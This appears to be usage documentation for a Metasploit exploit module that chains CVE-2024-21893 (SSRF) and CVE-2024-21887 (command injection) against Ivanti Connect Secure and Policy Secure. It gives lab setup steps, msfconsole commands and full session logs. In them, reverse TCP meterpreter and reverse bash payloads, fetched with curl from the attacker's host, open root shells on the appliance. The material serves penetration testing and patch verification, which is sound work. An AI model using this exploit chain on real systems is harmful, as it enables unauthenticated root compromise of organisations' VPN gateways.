## Vulnerable Application
This module chains a server side request forgery (SSRF) vulnerability (CVE-2024-21893) and a command injection
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
22.x are vulnerable, prior to the vendor patch released on Feb 1, 2024. It is unknown if unsupported versions
8.x and below are also vulnerable.

## Testing
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The
below steps are for HyperV, but it should be very similar to install on VMWare.

* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip`
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx`
* Create a new VM in HyperV and specify the VHDX file as the hard drives media.
* Boot the VM and follow the console instructions to install the product.
* After installation completes, you will have created an admin account and password. You can log into the admin
  web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want.

## Verification Steps
1. Start msfconsole
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
5. `check`
6. `exploit`

## Scenarios
To support a broad set of available payloads, we support both the Linux and Unix platforms. This allows for native
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.

### Automatic (Linux Payload)

```
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set RHOST 192.168.86.111
RHOST => 192.168.86.111
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options

Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[
                                       ,type:host:port][...]
   RHOSTS   192.168.86.111   yes       The target host(s), see https://docs.me
                                       tasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    443              yes       The target port (TCP)
   SSL      true             no        Negotiate SSL/TLS for outgoing connecti
                                       ons
   VHOST                     no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   FETCH_COMMAND      CURL             yes       Command to fetch payload (Acc
                                                 epted: CURL, FTP, TFTP, TNFTP
                                                 , WGET)
   FETCH_DELETE       false            yes       Attempt to delete the binary
                                                 after execution
   FETCH_FILENAME     XMZdmHhNxYx      no        Name to use on remote system
                                                 when storing payload; cannot
                                                 contain spaces.
   FETCH_SRVHOST                       no        Local IP to use for serving p
                                                 ayload
   FETCH_SRVPORT      8080             yes       Local port to use for serving
                                                  payload
   FETCH_URIPATH                       no        Local URI to use for serving
                                                 payload
   FETCH_WRITABLE_DI  /tmp             yes       Remote writable dir to store
   R                                             payload; cannot contain space
                                                 s.
   LHOST              eth0             yes       The listen address (an interf
                                                 ace may be specified)
   LPORT              4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check
[*] 192.168.86.111:443 - The service is running, but could not be validated.
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (3045380 bytes) to 192.168.86.111
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.111:45734) at 2024-02-09 09:21:59 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.86.111
OS           :  (Linux 4.15.18.34-production)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > cat /home/ssl-vpn-VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"
meterpreter > exit
[*] Shutting down session: 3

[*] 192.168.86.111 - Meterpreter session 3 closed.  Reason: Died
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > 
```

### Automatic (Unix Payload)

```
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options

Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[
                                       ,type:host:port][...]
   RHOSTS   192.168.86.111   yes       The target host(s), see https://docs.me
                                       tasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    443              yes       The target port (TCP)
   SSL      true             no        Negotiate SSL/TLS for outgoing connecti
                                       ons
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  eth0             yes       The listen address (an interface may be s
                                     pecified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check
[*] 192.168.86.111:443 - The service is running, but could not be validated.
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.111:45736) at 2024-02-09 09:23:15 +0000

id
uid=0(root) gid=0(root) groups=0(root)
cat /home/ssl-vpn-VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"
exit
[*] 192.168.86.111 - Command shell session 4 closed.
msf exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > 
```
